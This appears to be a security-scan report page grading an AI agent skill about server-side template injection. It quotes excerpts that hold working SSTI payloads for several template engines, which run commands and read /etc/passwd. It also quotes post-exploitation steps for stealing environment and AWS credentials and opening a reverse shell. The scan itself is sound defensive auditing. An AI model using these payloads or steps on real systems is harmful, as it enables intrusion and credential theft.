ssti-server-side-template-injection

github.com/yaklang/hack-skills
Verdict: Proceed with caution
0 critical4 high9 medium
C
SCORE 55 / 100
$skillox install ssti-server-side-template-injectionSoon
Sign in to followFollowing emails you when a re-scan drops the grade. Opt-out is per-creator on /account/billing.

Why grade C?

score · 55 / 100

The current grade reflects 4 high-severity findings (3+ HIGHs → C).

0 CRIT4 HIGH9 MED0 LOW
To reach a higher grade
  • B
    Reach Btarget score 75

    Resolve 2 of 4 HIGH (cap is 2) + 4 of 9 MED (cap is 5).

  • A
    Reach Atarget score 95

    Resolve all 4 HIGH + 7 of 9 MED (cap is 2).

Thresholds are documented at /docs/grading. Source-of-truth is the grade() function in @skillox/scanner.

Latest scan findings

Scan crawl-uaeqbgwr2wdsr8wje7yir2a7 · Thu, 28 May 2026 17:27:37 GMT · 1ms

high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 224CWE-552
▾
222<%= `id` %>
223<%= IO.popen('id').read %>
224<%= File.read('/etc/passwd') %>← sensitive path — credential-exfiltration vector
225```
226
high
Sensitive filesystem path referenced
The skill references a path (`\/proc\/self\/environ`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 276CWE-552
▾
274
275**Post-RCE pivot**:
2761. Read `/proc/self/environ` — env vars with credentials← sensitive path — credential-exfiltration vector
2772. Read application config files — DB passwords, API keys
2783. `cat ~/.aws/credentials` — cloud credentials
high
Sensitive filesystem path referenced
The skill references a path (`~\/\.aws\/`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 278CWE-552
▾
2761. Read `/proc/self/environ` — env vars with credentials
2772. Read application config files — DB passwords, API keys
2783. `cat ~/.aws/credentials` — cloud credentials← sensitive path — credential-exfiltration vector
2794. Reverse shell for persistence
280
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 337CWE-552
▾
335When Flask **debug mode** (Werkzeug debugger) is exposed but **PIN-protected**, the PIN is derived from host-specific values. Typical inputs for public PIN calculation scripts:
336
3371. **`username`** — from `/etc/passwd` (the user running the Flask process)← sensitive path — credential-exfiltration vector
3382. **Module name** — often `flask.app` or `Flask`
3393. **Application path** — `app.py` or the real main filename
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 103CWE-78
▾
101{{''.__class__.__mro__[1].__subclasses__()}}
102
103# Find subprocess.Popen index (usually around 258-270, varies by Python version):← spawns a subprocess outside declared capabilities
104# Look for "subprocess.Popen" in the list
105
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 104CWE-78
▾
102
103# Find subprocess.Popen index (usually around 258-270, varies by Python version):
104# Look for "subprocess.Popen" in the list← spawns a subprocess outside declared capabilities
105
106# Execute command (replace [258] with correct index):
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 179CWE-78
▾
177```freemarker
178<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
179<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.Runtime")?api.exec("id").inputStream))>← spawns a subprocess outside declared capabilities
180${br.readLine()}
181```
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 205CWE-78
▾
203```velocity
204#set($str=$class.inspect("java.lang.Runtime").method.invoke($class.inspect("java.lang.Runtime").type, null))
205#set($run=$str.exec("id"))← spawns a subprocess outside declared capabilities
206#set($out=$run.inputStream)
207```
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 234CWE-78
▾
232```java
233// In th:text or th:fragment context:
234__${T(java.lang.Runtime).getRuntime().exec("id")}__::type← spawns a subprocess outside declared capabilities
235
236// Fragment expression context:
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 237CWE-78
▾
235
236// Fragment expression context:
237__${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh","-c","id"}).getInputStream())}__::type← spawns a subprocess outside declared capabilities
238```
239
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 269CWE-78
▾
267├── FreeMarker → freemarker.template.utility.Execute?new()
268├── Twig → _self.env.registerUndefinedFilterCallback('exec')
269├── Velocity → java.lang.Runtime.exec()← spawns a subprocess outside declared capabilities
270├── ERB → <%= `cmd` %>
271├── Thymeleaf → T(java.lang.Runtime).getRuntime().exec()
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 271CWE-78
▾
269├── Velocity → java.lang.Runtime.exec()
270├── ERB → <%= `cmd` %>
271├── Thymeleaf → T(java.lang.Runtime).getRuntime().exec()← spawns a subprocess outside declared capabilities
272└── Angular CSTI → constructor.constructor('payload')()
273```
med
No capability manifest declared
The skill ships without a `manifest.yaml` or `capabilities` block in its frontmatter. Without a manifest, the runtime cannot enforce what this skill is permitted to do.
rule: no-manifest
▾
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skillox.io/c/ssti-server-side-template-injection